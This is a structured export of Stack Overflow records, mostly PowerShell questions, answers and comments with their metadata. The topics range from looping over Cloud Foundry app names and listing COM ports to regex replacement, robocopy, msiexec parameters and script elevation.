has body: I have a Cloud Foundry CLI command, cf apps, that outputs: name requested state processes routes appname_1 started web:2/2 route1.com appname_2 started web:1/1 route2.com How do I access all name column values, and then loop over them? The idea is to get the list of all app names and run the cf delete &lt;app_name&gt; so that I can avoid the hassle of having to delete the apps one by one. I tried the following script earlier Fetch apps $apps = cf apps | Where-Object { $_ -match 'appname' } | % { $_.Trim() } | ConvertFrom-String -PropertyNames 'Name','Value' And then use for-loop to delete the apps using cf delete &lt;appname&gt; -f command for ($i = 0; $i -lt $apps.Length; $i++) { $char = $apps.Name[$i] cf delete $char -f }

http://stackoverflow.com/q/79267719
has answer: http://stackoverflow.com/a/79291649
type: Question
tagged with: serial-port
has answer: http://stackoverflow.com/a/79269101
has body: I'm trying to list COM over USB ports in Powershell. So far, I found this command on the internet : PS C:\&gt; Get-CimInstance Win32_SerialPort | Select Name, Description, DeviceID Name Description DeviceID ---- ----------- -------- Standard Serial over Bluetooth link (COM4) Standard Serial over Bluetooth link COM4 Standard Serial over Bluetooth link (COM5) Standard Serial over Bluetooth link COM5 Intel(R) Active Management Technology - SOL (COM3) Intel(R) Active Management Technology - SOL COM3 PS C:\&gt; But it does not show me any USB COM ports.
downvote count: 1
tagged with: usb
has title: How to list COM over USB ports in Powershell?
tagged with: powershell
type: UnansweredQuestion
upvote count: 1
score: 0
answer count: 2
linked to: http://stackoverflow.com/q/40370167
favorite count: 0

http://stackoverflow.com/q/79398108
tagged with: excel
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/140021663
type: Question
has body: Here is my script Foreach ($Object in $ABC) { try { $Cell = ($AAA.Columns.Item($AAA_COL.'A').Find($Object.Cell,[Type]::Missing,[Type]::Missing,1)).Row $AAA.Cells.Item($Cell,$AAA_COL.'A1') = $Object.Number1 $AAA.Cells.Item($Cell,$AAA_COL.'A2') = $Object.Number2 $AAA.Cells.Item($Cell,$AAA_COL.'A3') = $Object.Number3 $AAA.Cells.Item($Cell,$AAA_COL.'A4') = $Object.Number4 } catch {} $null = $Object = $Cell } It works but only match up the first find (YES) and skip the rest. I have tried to do each row first but then that would take forever. This is what I use now however it takes around 20 mins to run. Foreach ($Object in $AAA) { try { $Cell = $Object.Row $AAA.Cells.Item($Cell,$AAA_COL.'A1') = ($ABC | Where-Object{$_.Number -eq $Object.A}).Number1 $AAA.Cells.Item($Cell,$AAA_COL.'A2') = ($ABC | Where-Object{$_.Number -eq $Object.A}).Number2 $AAA.Cells.Item($Cell,$AAA_COL.'A3') = ($ABC | Where-Object{$_.Number -eq $Object.A}).Number3 $AAA.Cells.Item($Cell,$AAA_COL.'A4') = ($ABC | Where-Object{$_.Number -eq $Object.A}).Number4 } catch {} $null = $Object = $Cell } Any suggestions?
has comment: http://stackoverflow.com/comment/140023882
has comment: http://stackoverflow.com/comment/140022165
answer count: 0
tagged with: powershell
tagged with: vba
has comment: http://stackoverflow.com/comment/140024788
has title: Multiple find in Excel

http://stackoverflow.com/comment/139988318
has text: I hope this helps to resolve your query.
comment on: http://stackoverflow.com/a/79332051
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139791642
comment on: http://stackoverflow.com/q/79274648
type: QuestionComment
type: Comment
has text: 1. Do not use `wmi` cmdlets use `cim` cmdlets(`Get-CimInstance` in this case); 2. what do you expect getting and what are you getting?
score: 1

http://stackoverflow.com/comment/140013937
type: Comment
has text: Thanks. Guess I have to read up on invocation. I have only ever used this command to get the file currently running, not in the ISE.
comment on: http://stackoverflow.com/a/79394307
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139764923
type: Comment
has text: Have you seen [this question](https://stackoverflow.com/questions/29119383/powershell-use-regular-expression-to-split-a-string)? If you have then why did it **not** help you?
score: 0
comment on: http://stackoverflow.com/q/79259964
type: QuestionComment

http://stackoverflow.com/a/79260663
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/79259964
type: Answer
accepted answer of: http://stackoverflow.com/q/79259964
score: 3
upvote count: 3
has body: To complement the existing, helpful answers (especially iRon's detailed explanation): Since your intent is to insert a character (or substring) into an existing string,[1] -replace, the regular-expression-based string replacement operator, is a natural choice: # Insert a &quot;-&quot; before the last 4 digits (\d) at the end ($) 'pcst400801' -replace '\d{4}$', '-$&amp;' # Alternative, using your original approach: # Insert a &quot;-&quot; after 4 non-digits (\D) followed by 2 digits (\d) at the start (^) 'pcst400801' -replace '^\D{4}\d{2}', '$&amp;-' Both expressions return the desired string, 'pcst40-0801' Note: $&amp; is a placeholder representing whatever the regex matched in full; see Substitutions in regular expressions for a complete list of all placeholders. Even though these placeholders resemble PowerShell variable references, due to starting with $, they are unrelated to PowerShell and instead interpreted by the .NET regex engine. To avoid confusion, it is therefore advisable to use verbatim strings (single-quoted, i.e. '...'), as used above, when specifying regexes or substitution expressions, unless PowerShell-side string interpolation is truly needed (and even then there are alternatives to using expandable (interpolating) strings (double-quoted, i.e. &quot;...&quot;)). [1] Loosely speaking; technically, it is a new string that must be created with the desired insertion, given that .NET strings (System.String, [string] in PowerShell terms) are immutable.

http://stackoverflow.com/comment/139810415
type: Comment
has text: `-InFile` takes a file path as it's argument. Change `-inFile $importBody` to `-InFile $ImportFile`
comment on: http://stackoverflow.com/q/79284932
score: 0
type: QuestionComment

http://stackoverflow.com/comment/139906476
type: Comment
score: 0
has text: Well I would like to log it only. If the child script didn't exit, I don't want to make it exit
comment on: http://stackoverflow.com/q/79336435
type: QuestionComment

http://stackoverflow.com/comment/139884347
has text: I would suggest you create a new blob storage and then upload the files from local path into it to proceed further. Is that works for you? @user3276487
score: 0
comment on: http://stackoverflow.com/q/79325726
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79290410
type: Question
has comment: http://stackoverflow.com/comment/139837688
has title: Robocopy skips folder while deleted
answer count: 0
tagged with: robocopy
tagged with: powershell
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139821253
has comment: http://stackoverflow.com/comment/139820815
has comment: http://stackoverflow.com/comment/139820769
has comment: http://stackoverflow.com/comment/139831434
has body: Using below command in Powershell to copy files from one location to the other: robocopy /s /xo $robo_source $robo_destination With $robo_source="D:/UploadLogs/Logs" and $robo_destination="D:/Logs" in this specific example. When deleting the $robo_source folder; i.e. delete the Logs folder (and its subdirectories) in UploadLogs RoboCopy is telling me 2 files are copied and 22 are skipped: Total Copied Skipped Mismatch FAILED Extras Dirs : 11 0 11 0 0 0 Files : 24 2 22 0 0 0 Bytes : 11.13 m 816.1 k 10.34 m 0 0 0 Times : 0:00:00 0:00:00 0:00:00 0:00:00 Ended : Wednesday, December 18, 2024 9:12:15 AM I don't see the files that are copied however and also it is not clear to me why 22 files are skipped as I dont have any file anymore. Is there a way to prevent this for happening? The option /XO is to avoid copying files which are already there. Is there caching in place which I can clear?
has comment: http://stackoverflow.com/comment/139822444
has comment: http://stackoverflow.com/comment/139821491

http://stackoverflow.com/comment/139902203
has text: Can you check the same with a new functionapp using Premium Plan?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79335176
type: Comment

http://stackoverflow.com/a/79304065
has comment: http://stackoverflow.com/comment/139846465
has comment: http://stackoverflow.com/comment/139845234
has body: I'm using the new Terminal app from Microsoft, and I get right input and output for each character: if (a == "ȳ") { Write here āēīōū (with accents and macrons): ȳ You wrote: ȳ It's the same! a[i]: The reason why the iteration in the end of the code doesn't work is really simple: std::string stores utf8 characters in multiple bytes sequence (char AFAIK). You can't just rip utf8 symbol from the sequence std::string points to. Changing to cout << "a[i]: " << a << endl; fixes the problem: Write here āēīōū (with accents and macrons): āēīōū You wrote: āēīōū It's not the same. a[i]: āēīōū P.S: Quote from std::string wikipedia page: The individual units making up the string are of type char, at least (and almost always) 8 bits each. In modern usage these are often not "characters", but parts of a multibyte character encoding such as UTF-8.
answers question: http://stackoverflow.com/q/79303993
score: 4
upvote count: 4
downvote count: 0
has comment: http://stackoverflow.com/comment/139845394
type: Answer

http://stackoverflow.com/a/79321969
has comment: http://stackoverflow.com/comment/139878201
downvote count: 0
has comment: http://stackoverflow.com/comment/139877822
answers question: http://stackoverflow.com/q/79321927
type: Answer
has body: "So what i would like is to scan for duplicate files based on hash, then make sure, if a .MOV with the same basename exists, that file is kept and the others are deleted." I would examine only the files that do need to be checked, because of an existing MOV, so removing from the list the JPG-files that also have a MOV: $jpgs = Get-ChildItem *.JPG $movs = Get-ChildItem *.MOV $jpgs | Where-Object { $_.BaseName -notin $movs.BaseName } This produces (based on the 4 files in your question): IMG_0992 (1).JPG IMG_0992 (2).JPG Based on and answer to: Array subtraction in PowerShell
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/139881306

http://stackoverflow.com/a/79419921
has comment: http://stackoverflow.com/comment/140163768
answers question: http://stackoverflow.com/q/79419763
accepted answer of: http://stackoverflow.com/q/79419763
has comment: http://stackoverflow.com/comment/140163765
downvote count: 0
type: AcceptedAnswer
has body: In the context of a batch file (*.bat, *.cmd), you can use powershell.exe, the Windows PowerShell CLI for self-elevation (re-invocation with elevation): see this answer. You can also use this technique to set PowerShell's machine-level execution policy to permit script-file execution (e.g., Set-Execution Policy -Scope LocalMachine RemoteSigned -Force; note that to set the current-user execution policy (-Scope CurrentUser), you don't need elevation); see also the bottom section. In the context of a PowerShell script (*.ps1): In the simplest case, you can prevent non-elevated execution, by placing a #requires -RunAsAdministrator directive (statement) in the file. Alternatively, you can create a self-elevating script, as shown in this answer. In the context of PowerShell remoting, which allows targeting multiple remote computers in a single operation, no extra effort is needed: As long as the user account being used is an administrator in principle on a remotely targeted machine, the session is implicitly elevated: see this answer. As an aside: Microsoft also set the default PowerShell execution policy to Restricted That is true for workstation editions of Windows, whereas server editions default to the RemoteSigned execution policy. It is only script files and type-definition and formatting-definition files that are subject to the execution policy, whereas commands, such as ones passed to the -Command (-c) CLI parameter are generally not - except if they're from a module that is implemented in PowerShell (a module whose root module is a *.psm1 files and/or comes bundled with type-definition or formatting-definition files). Aside from the option to persistently change the execution policy via Set-ExecutionPolicy, you can also set (override) it ad hoc, e.g. by passing -ExecutionPolicy RemoteSigned to the PowerShell CLI. That said, execution policies controlled via GPOs can not be overridden this way. See this answer for a comprehensive overview of PowerShell's execution…
score: 2
upvote count: 2
type: Answer

http://stackoverflow.com/q/79277663
type: Question
has title: HTTP response payload not displaying PSCustomObject returned as part of HTTP Response
answer count: 0
tagged with: powershell
tagged with: pscustomobject
score: 0
type: UnansweredQuestion
tagged with: runcommand
has body: I have a .NET application that I use to execute PS commandlets on an Azure VMSS instance. To do so, I use the RunPowershellScript commandId and send it over an HTTP Request to the VMSS instance. A simple script like this works - string script = string.Format( "$script = @(" + "Write-Host Hello {0}!" + ")", "John Doe"); However, when I use a PSCustomObject and add it to the Message field, the Message field in the HTTP response payload is empty. What can I do to ensure that the Message field is populated appropriately. Note - everything works as expected when I use Azure CLI and I invoke RunPowershellScript command as an HTTP Request.

http://stackoverflow.com/comment/139878012
score: 0
comment on: http://stackoverflow.com/q/79318657
type: QuestionComment
has text: Have you tried removing the plus sign and replacing it with a comma in the ArgumentList? Based on this [documentation](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/start-process?view=powershell-7.4#-argumentlist:~:text=Arguments%20can%20be%20accepted%20as%20a%20single%20string%20with%20the%20arguments%20separated%20by%20spaces%2C%20or%20as%20an%20array%20of%20strings%20separated%20by%20commas.), arguments as an array of strings should be separated by commas.
type: Comment

http://stackoverflow.com/comment/139803702
type: AnswerComment
comment on: http://stackoverflow.com/a/79279922
has text: My assumption was the `-ComputerName $server` part is changing the behavior somehow. The OP said they tried `-argumentlist (, $apppools)` (where $apppools is of type `Object[]` from `GC`) but it didnt work? The linked answer is only executing stuff locally, so i assumed theres a type conversion gone bad somewhere, but im unable to test
type: Comment
score: 0

ssl
tags question: http://stackoverflow.com/q/79278871
tag name: ssl
type: Tag
tags question: http://stackoverflow.com/q/79476865
tags question: http://stackoverflow.com/q/79448686

http://stackoverflow.com/q/79279210
duplicate of: http://stackoverflow.com/q/68972925
has comment: http://stackoverflow.com/comment/139801144
tagged with: powershell-core
type: Question
tagged with: dll
answer count: 0
downvote count: 0
tagged with: powershell
has title: PowerShell "Assembly with same name is already loaded" on different Module Versions
linked to: http://stackoverflow.com/q/68972925
upvote count: 1
tagged with: azure-powershell
has comment: http://stackoverflow.com/comment/139801141
type: UnansweredQuestion
score: 1
tagged with: assemblies
favorite count: 0
has body: I have a script that requires using two versions of the same module with conflicting assemblies: #Requires -PSEdition Core # main logic Install-Module -Name MyModule -RequiredVersion 2 -Scope CurrentUser -Force Install-Module -Name MyModule -RequiredVersion 3 -Scope CurrentUser -Force & UseV2.ps1 & UseV3.ps1 ~/UseV2.ps1: #Requires -Modules @{ ModuleName = 'MyModule'; RequiredVersion = '2' } ... ~/UseV3.ps1: #Requires -Modules @{ ModuleName = 'MyModule'; RequiredVersion = '3' } ... The second script is never executed since I receive the following error: "Assembly with same name is already loaded". How can I fix this and use the V3 module too? I can see the .dll from V2 are still loaded after executing the script that uses V2 but can't remove them. $assemblies = [AppDomain]::CurrentDomain.GetAssemblies() $assemblyToUnload = $assemblies | Where-Object { $_.Location -like '*MyModule*`dll' }

http://stackoverflow.com/a/79401002
has body: Use type names. Assuming dedupe is another [bool] then call it that. It’s clear and concise and much easier to maintain than using calculated properties as suggested. Also avoid using format-table in a script. You should always try to return objects. It makes your output more reusable.
answers question: http://stackoverflow.com/q/79400911
score: 0
type: Answer

odbc
tag name: odbc
type: Tag
tags question: http://stackoverflow.com/q/79391710

http://stackoverflow.com/comment/139777387
type: Comment
score: 0
has text: While I believe in letting one's answers stand in the face of down-votes _if_ one has double-checked that their claims are true and _if_ one believes they may still help future readers, note that your answer doesn't address the OP's questions. (I wasn't among the down-voters, but I also don't think your answer is helpful.)
comment on: http://stackoverflow.com/a/79262827
type: AnswerComment

http://stackoverflow.com/comment/140137713
has text: As previously discussed [here](https://stackoverflow.com/a/75348106/45375) and [here](https://stackoverflow.com/a/76011282/45375), I am down-voting for unidiomatic PowerShell code that sets a bad example.
type: Comment
comment on: http://stackoverflow.com/a/79461959
score: 0
type: AnswerComment

http://stackoverflow.com/q/79287969
tagged with: powershell
linked to: http://stackoverflow.com/q/54610078
score: 0
has comment: http://stackoverflow.com/comment/139837715
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/140258553
has comment: http://stackoverflow.com/comment/139873300
has body: I have a webshop with products in 4 languages. When I try to receive the full list of products, I do not see all the products. Only the products in the Dutch language (the 'main' language) and not the products that are not published yet. The code: Clear-Host $ConsumerKey = "ck_blablahalblah" $CustomerKey = "cs_somethingelse" $URL = "https://www.mywebshopurl.nl" $Products = "/wp-json/wc/v3/products" $URL = "$($url)$($Products)" $Headers = @{Authorization = "Basic {0}" -f [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(("{0}:{1}" -f $ConsumerKey, $CustomerKey))) } [Int]$Page = 1 [Int]$PerPage = 10 $ArrayWithProducts = @() Do { Write-Host "Reading products from page: $Page" $AllProducts = Invoke-RestMethod -Method Get -Uri "$($URL)?page=$Page&per_page=$PerPage&status=any&orderby=id&order=asc&catalog_visibility=any" -Headers $Headers Write-Host " -->> Counted $($AllProducts.Count) products on page $Page." If (-not $AllProducts) {Break} $ArrayWithProducts += $AllProducts $Page++ } While ($True) Write-Host "There are total $($ArrayWithProducts.Count) products discovered by the REST API." I only see 149 products. That are 147 published products and 2 draft products. But I do not see: All the items that already have been imported but not published yet. The status is 'Draft'. All the with WPML translated products. As a reference I already checked WooCommerce Rest API not returning Products and woocommerce rest api - did not show product list. I also checked https://woocommerce.github.io/woocommerce-rest-api-docs/?javascript#product-properties. What can I do to solve points one and two. Feedback is appreciated and with kind regards, TheStingPilot
has title: WooCommerce REST API does not show all the products
tagged with: woocommerce-rest-api
type: Question
answer count: 0
linked to: http://stackoverflow.com/q/63420091

http://stackoverflow.com/a/79380077
score: 0
has body: AFAIK, the Graph API doesn't still have an endpoint to retrieve the day-wise working hours. You can vote for it: https://feedbackportal.microsoft.com/feedback/idea/f4ed696b-9971-ef11-a4e7-6045bdb238dc
accepted answer of: http://stackoverflow.com/q/79380052
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/79380052

http://stackoverflow.com/comment/139825961
type: Comment
score: 0
has text: @iRon Did you mean I should call the methods in the `switch` block (ie, `...'1' {return $this.func1()}...` and just retrieve their result in the `main` method (ie, `$this.getfunc()`)? It's working! But in case where `fun1`, `func2`... need parameters (which are defined/modified somewhere in `main`), it's impossible to pass those parameters in. So I'm trying to call them (`func1`, `func2`...) in `main` instead.
comment on: http://stackoverflow.com/q/79293130
type: QuestionComment

http://stackoverflow.com/comment/139989030
type: Comment
comment on: http://stackoverflow.com/q/79381065
has text: In your case you might use additional parameters or use the [using scope](https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_remote_variables#using-local-variables): `$Using:<VariableName>`
score: 0
type: QuestionComment

http://stackoverflow.com/a/79269101
downvote count: 0
type: Answer
score: 1
upvote count: 1
has body: You can list serial ports in PowerShell as follows: [System.IO.Ports.SerialPort]::GetPortNames() You can also interact with them in a similar style. Below reads a line from the port, for example: function Read-SerialPort { param( [Parameter(Mandatory=$true)] [string]$PortName, [int]$BaudRate = 9600, [System.IO.Ports.Parity]$Parity = [System.IO.Ports.Parity]::None, [int]$DataBits = 8, [System.IO.Ports.StopBits]$StopBits = [System.IO.Ports.StopBits]::One ) try { $port = [System.IO.Ports.SerialPort]::new($PortName, $BaudRate, $Parity, $DataBits, $StopBits) $port.Open() $data = $port.ReadLine() return $data } catch { Write-Error "Error reading from port: $_" } finally { if ($port -and $port.IsOpen) { $port.Close() $port.Dispose() } } } Read-SerialPort -PortName COM5
answers question: http://stackoverflow.com/q/79267719

http://stackoverflow.com/comment/139750849
score: 0
has text: [GitHub issue #12962](https://github.com/PowerShell/PowerShell/issues/12962#issuecomment-2096785319) is a proposal to someday support Bash-style aliases in PowerShell too.
comment on: http://stackoverflow.com/q/79250687
type: QuestionComment
type: Comment

woocommerce-rest-api
tag name: woocommerce-rest-api
tags question: http://stackoverflow.com/q/79287969
type: Tag

filter
tags question: http://stackoverflow.com/q/79276442
type: Tag
tag name: filter
tags question: http://stackoverflow.com/q/79495529

http://stackoverflow.com/a/79260926
has comment: http://stackoverflow.com/comment/139767840
answers question: http://stackoverflow.com/q/79258378
score: 0
has body: I have this. I doubt it sets an exit code. The result is output in json text. .\teambootstrapper -x { "success": true } Alternatively (remove-appxprovisionedpackage has no -whatif parameter!): Get-AppxProvisionedPackage -online | ? displayname -eq msteams | Remove-AppxProvisionedPackage -Online -allusers Path : Online : True RestartNeeded : False Hopefully $? is set to $false if there's an error.
type: Answer

http://stackoverflow.com/comment/139836137
score: 0
comment on: http://stackoverflow.com/q/79296217
has text: @mklement0, I have voted to reopen the question (even I have no intention to answer it myself) because "*The fact that the enumerable null (which you can most succinctly create with & {}) even surfaces as an object in PowerShell code (enabling things like `(& {}).psobject` and `(& {}) -is [psobject]` is arguably a bug (a leaky implementation of an abstraction).*" might require to uniquely answer through a formal answer rather than multiple comments.
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79272775
tagged with: powershell
tagged with: windows-installer
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139788301
score: 0
has body: So I've got this super simple script that uses msiexec to install a MSI, but it doesn't take the one of the flags. This is the the format that installs correctly: msiexec /qn /i "C:\temp\DNS_Agent_Setup.msi" NKEY="1234567890" This script block fails because the NKEY likely isn't accepted: param( [String]$SITESECRETKEY ) $key = "NKEY=`"$SITESECRETKEY`"" $msiPath = "C:\temp\DNS_Agent_Setup.msi" Invoke-WebRequest -Uri "https://download.dnsfilter.com/User_Agent/Windows/DNS_Agent_Setup.msi" -OutFile $msiPath msiexec /qn /i $msiPath $key Am I just dense? When I replaced $key with NKEY="123457890" in: msiexec /qn /i $msiPath $key It works
has comment: http://stackoverflow.com/comment/139788313
tagged with: parameter-passing
type: Question
has title: Passing a variable to msiexec in argumentlist doesn't work
linked to: http://stackoverflow.com/q/50867146
answer count: 0

http://stackoverflow.com/comment/139970560
score: 1
has text: This is a bit cumbersome to read, but should work around the inconsistency, should it ever be corrected.: `($Env:Path | ConvertFrom-Csv -Delimiter ';' -Header (1..(($env:path -split ';').Where({$_}).count - 1))).PSObject.Properties.Value`
type: AnswerComment
comment on: http://stackoverflow.com/a/79370869
type: Comment

http://stackoverflow.com/q/79274648
has title: How do I enumerate registry entries in powershell with wmi?
score: 0
tagged with: enumeration
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139791642
has comment: http://stackoverflow.com/comment/139791658
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139800550
tagged with: registry
tagged with: powershell
has body: I'm trying to enumerate the registry valuenames in FirewallRules. The code I have is not working, what is wrong with it? $HKEY_LOCAL_MACHINE =2147483650 $Key = "SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules" $names = $null $valueTypes = $null $namespace = "root\default" $reg = Get-WmiObject -Namespace $namespace -Class StdRegProv # Not Working, something is wrong. $reg.EnumValues($HKEY_LOCAL_MACHINE, $Key, [ref]$names, [ref]$valueTypes)

http://stackoverflow.com/comment/139826129
type: Comment
has text: Well I was rather asking whether the connection to site is secure or not like whether we can connect there either way.
score: 0
comment on: http://stackoverflow.com/q/79277716
type: QuestionComment

http://stackoverflow.com/comment/139787836
has text: For future readers wondering how the answer to [this question](https://stackoverflow.com/questions/77002696/what-output-exactly-is-captured-by-streaminghost-in-start-threadjob) answers this question: Like for `Start-ThreadJob -StreamingHost $Host` the above runspace code directs everything except the "success" and error streams to `$Host`. `ThreadJobs` reveal those remaining streams via `Receive-Job`. There isn't a corresponding command for the above construction. Instead those same streams are available on `PowerShell.Streams`.
type: Comment
comment on: http://stackoverflow.com/q/79272605
score: 1
type: QuestionComment

http://stackoverflow.com/comment/139813081
comment on: http://stackoverflow.com/q/79285982
type: QuestionComment
type: Comment
has text: In short: As explained in the duplicate that @zett42 found, when you use `-OutFile` with [`Invoke-WebRequest`](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest), it produces _no_ output by default. To get a `[Microsoft.PowerShell.Commands.WebResponseObject]` instance as output, whose `.StatusCode` property you can query, you must add the `-PassThru` switch.
score: 1

http://stackoverflow.com/comment/140014471
type: Comment
score: 0
has text: What parent do you get? Is it the same with and without De-attach?
type: AnswerComment
comment on: http://stackoverflow.com/a/79375356

http://stackoverflow.com/comment/139982222
score: 0
has text: Thanks, the $SortParameters approach works. Still, I would be interested to understand what was wrong with my actual function. BTW, to my knowledge `semver` is only available in PowerShell >= 7, but the script needs to run on older versions and I didn't want to use a nuget package for such trivial functionality.
type: AnswerComment
comment on: http://stackoverflow.com/a/79377463
type: Comment

http://stackoverflow.com/comment/140023512
has text: I've tested this solution, and found that files containing .zip or .log were getting deleted.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79397370

http://stackoverflow.com/comment/139834918
type: AnswerComment
type: Comment
score: 3
has text: It's (nowadays) called the _enumerable null_, and it is an instance of type `[psobject]` aka `[System.Management.Automation.PSObject]`; specifically, it is a singleton returned by `[System.Management.Automation.Internal.AutomationNull]::Value`. While it is true that this singleton has no properties, it does _not_ have a `$null` value. There is _no_ unpacking happening. The value is a PowerShell-internal magic value that is treated like `$null` in expressions vs. like an _empty enumerable_ in enumeration contexts such as the pipeline.
comment on: http://stackoverflow.com/a/79296572

http://stackoverflow.com/q/79245358
score: 1
favorite count: 0
has title: Detect if transcript (transcription) is active
type: Question
tagged with: transcription
has answer: http://stackoverflow.com/a/79245359
has body: How to detect in PowerShell if transcript (transcription) is active?
answer count: 1
downvote count: 0
tagged with: powershell
type: UnansweredQuestion
upvote count: 1

http://stackoverflow.com/comment/140003296
score: 1
type: AnswerComment
type: Comment
has text: I have been able to figure out a work around. From within powershell, I launch `start cmd`. This spawns an independent cmd. Then, from there, I launch bfile.bat. This allows me to work with CtrlC as needed. Thank you!
comment on: http://stackoverflow.com/a/79388711

http://stackoverflow.com/comment/139862977
type: Comment
comment on: http://stackoverflow.com/q/79314201
has text: Also strangely, `([char[]]([string[]]::new(5))).GetType()` does work to convert the string[] to char[] or even `([int[]]([string[]]::new(5))).GetType()` to int[]
score: 0
type: QuestionComment

http://stackoverflow.com/comment/140093556
type: Comment
has text: Glad to hear it. We've been though many iterations to finally arrive at an answer that matches the previously stated requirements (in their penultimate form), owing to a combination of the problem being originally ill-specified and additional requirements getting added later. If you have additional requirements, please ask a new question focused just on them. Hint: A `ConvertFrom-Json` approach won't allow you to preserve line numbers.
comment on: http://stackoverflow.com/q/79416406
score: 0
type: QuestionComment

http://stackoverflow.com/comment/139798246
type: QuestionComment
type: Comment
score: 0
has text: If you don't quote it - `C:\Program Files\Notepad++\notepad++.exe` then it says `'C:\Program' is not recognized as an internal or external command, operable program or batch file. error: there was a problem with the editor "cmd /C C:\\Program Files\\Notepad++\\notepad++.exe"`. Nothing seems to work. I haven't done any other modifications to the Terminal. I just want the `kubectl edit pods my-pod` command to open Notepad++ instead of Notepad.
comment on: http://stackoverflow.com/q/79275630

http://stackoverflow.com/comment/139821877
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79290835
has text: In my case, your script working correctly locally, Check this https://i.imgur.com/uXpmq4V.png
type: QuestionComment

http://stackoverflow.com/comment/139770238
type: AnswerComment
type: Comment
has text: @alx9r im learning something new here too :p. definitely much easier. the `-UseLocalScope` means that it will dot-source the sb (you can update outside scope variables and all variables defined in the scriptblock become part of the local scope essentially)
score: 1
comment on: http://stackoverflow.com/a/79262856

http://stackoverflow.com/a/79284685
type: Answer
answers question: http://stackoverflow.com/q/79278902
has body: Exception calling "Connect" with "1" argument(s): "The connection string is not valid." $server.Connect($connectionString) CategoryInfo : NotSpecified: (:) [], MethodInvocationException FullyQualifiedErrorId : ConnectionException The above error is causing due to the incorrect connection string please check the credentials are correct or not. To connect to the SQL Server Analysis Service. The SQL Server Analysis Service can be accessed by using the Analysis Management Objects. To use AMO. Try following code to load the assembly and creates and initializes an instance of the SQL Server Analysis Service: [Reflection.Assembly]::LoadWithPartialName("Microsoft.AnalysisServices") [System.Reflection.Assembly]::LoadWithPartialName("Microsoft.AnalysisServices.Tabular"); $SSASServer = New-Object Microsoft.AnalysisServices.Server $SSASServer = New-Object Microsoft.AnalysisServices.Tabular.Server; Also refer these SO answers to connect Azure SQL Analysis Service: How to connect to Azure Analysis Service Server using AAD App Registration in PowerShell How to list the databases/models under Azure Analysis Services using Powershell?
score: 0
has comment: http://stackoverflow.com/comment/139811293

http://stackoverflow.com/q/79297671
has answer: http://stackoverflow.com/a/79300310
upvote count: 2
tagged with: powershell
downvote count: 0
type: AnsweredQuestion
score: 2
has title: Struggling to give default parameter value to a '.ps1' script via the $PSDefaultParameterValues dictionary
has answer: http://stackoverflow.com/a/79298044
accepted answer: http://stackoverflow.com/a/79298044
answer count: 2
favorite count: 0
has comment: http://stackoverflow.com/comment/139833876
type: Question
possible better answer: http://stackoverflow.com/a/79300310
has comment: http://stackoverflow.com/comment/139833700
has body: I have a .ps1 that has a -path parameter that I would like to give a default value, via the $PSDefaultParameterValues dictionary, I figured this would work the same way as cmdlets: $PSDefaultParameterValues=@{ "C:\Users\user1\Documents\PowerShell\Scripts\myScript.ps1:path" = "C:\temp\db.jsonc" } The code for myScript.ps1 being: [CmdletBinding()] param ( [Parameter(ValueFromPipeline,ValueFromPipelineByPropertyName,mandatory)] [string]$Path ) "path ---> $path" So when I type .\myScript.ps1 I get the "Supply values for the following parameters:" prompt but if I run .\myScript.ps1 -path c:\some\path the output is path ---> c:\some\path I tried reworking the dictionary but still the script does not receive a value for the -path parameter: $PSDefaultParameterValues=@{ #"myScript.ps1:path" = "C:\temp\db.jsonc" "myScript.:pfath" = "C:\temp\db.jsonc" # this does not work either #"C:\Users\user1\Documents\PowerShell\Scripts\myScript.ps1:path" = "C:\temp\db.jsonc" }

http://stackoverflow.com/a/79335731
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/79335299
downvote count: 0
has body: You have to use checkouts to get the template in different repository as below: - checkout: rithtemplates - template: /templates/template.yaml@mytemplates Where as in Filepath use: filePath: $(Build.SourcesDirectory)/scripts/rith.ps1 Output: Then the script will be executed:
accepted answer of: http://stackoverflow.com/q/79335299
upvote count: 1
score: 1

http://stackoverflow.com/a/79375356
type: Answer
has comment: http://stackoverflow.com/comment/139996506
has comment: http://stackoverflow.com/comment/140008494
